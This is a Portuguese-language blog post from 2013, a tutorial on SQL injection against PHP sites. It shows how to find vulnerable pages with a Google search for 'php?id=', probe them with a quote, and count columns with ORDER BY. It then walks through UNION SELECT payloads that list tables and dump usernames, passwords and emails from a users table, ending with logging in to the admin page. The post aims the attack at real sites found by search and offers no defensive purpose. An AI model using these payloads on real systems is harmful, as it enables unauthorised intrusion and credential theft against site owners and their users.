30/01/2013

SQL Injection

Um pequeno tutorial feito por mim mesmo, vou usar como base os meus conhecimentos que obtive até aqui, para começar vamos ter que achar algum site vulnerável, e como vamos fazer isso? bem como uma invasão em PHP é um método antigo, então muitos sites já conseguem se proteger tranquilamente contra esses códigos, não estou dizendo que não existam mais sites desprotegidos pelo contrario ainda existem vários, tudo é uma questão de paciência e determinação. bom vamos aos código

A String que mais utilizo é a:
----------
php?id=
----------
O que faço com isso? bom, pegue esse pequeno código e cole no navegador do Google, ira lhe aparecer vários sites terminados em php?id=234 (esse número não é relevante, pode ser qualquer numero) bom após ter escolhido seu site aqui no caso iremos utilizar o alvo.com.br vamos aos códigos

primeira coisa é colocar um ( ' ) no final do código ficando assim:
http://alvo.com.br/conteudo.php?id=234'
se o site for vulnerável ele irá te dar um erro, não se preocupe é isso que queremos, explorar o erro da página, depois que descobriu que a pagina realmente está desprotegida, apague o ( ' ) e adicione o seguinte "order by 10" sem aspas ficando assim:
http://alvo.com.br/php?id=234 order by 10
e vai diminuindo para descobrir quantas colunas existem nessa página
http://alvo.com.br/php?id=234 order by 9
http://alvo.com.br/php?id=234 order by 8
http://alvo.com.br/php?id=234 order by 7
http://alvo.com.br/php?id=234 order by 6
pronto, a postagem que antes avia sumido apareceu, quando coloquei "6" no final e a postagem apareceu isso significa que esta pagina possui 6 colunas, tá mais o que isso tem de importante? tudo meu amigo, basicamente tudo. preste bastante atenção agora.
http://alvo.com.br/php?id=-234 union all select 1,2,3,4,5,6--
esse código permite que eu una todas as colunas em uma só, preste bem atenção pois, não sei se repararam mais eu adicionei ( - ) na frente do 234, isso é de suma importância. digamos que assim ficou:
http://alvo.com.br/php?id=-234 union all select 1,2,3,4,5,6--
---------------
     3
por 4,5
     2
---------------
os números representados acima, significam as colunas disponíveis para a injeção SQL. agora vem mais códigos, o que vamos fazer agora?, vamos substituir as colunas disponíveis por códigos, ficando assim:
---------
http://alvo.com.br/php?id=-234 union all select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
---------

reparem que substitui o "2" pelos códigos

esse código irá se oferecer, todos os dados, do banco de dados deles, por exemplo, apareceu o seguinte, 

---------------
     3
por 4,5
     tb_acessorios,tb_usuarios,tb_menu,tb_fuckyou.... entre outros, 
---------------

o que realmente interessa é o "TB_USUARIOS", o que vamos fazer agora?, iremos substituir novamente os código, já que temos o nome que necessitamos, o código que antes era assim:
--------
http://alvo.com.br/php?id=-234 union all select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
--------
ficou assim
--------
http://alvo.com.br/php?id=-234 union all select 1,nome,senha,e-mail,5,6 from tb_usuarios--
--------

nos números irá aparecer assim:

---------------
     adm123
por admin@zcool.blogspot.com,5
     Adiministrador@zcool.blogspot.com

---------------
(Acredito que todos repararam, que os códigos modificados, no navegador, são alterados em baixo, se você não percebeu sugiro que saia da página agora, e não volte nunca mais, pois digitar isso foi cansativo)

bom você tem o nome, a senha, e o e-mail, o que fazer agora? bom todos os site possuem um página especial para o Admin, a maioria fica nesse endereço:

---------------
alvo.com.br/login

agora só fazer a festa, qualquer dúvida poste nos comentários, ou deixe o e-mail que entrarei em contato.



Nenhum comentário:

Postar um comentário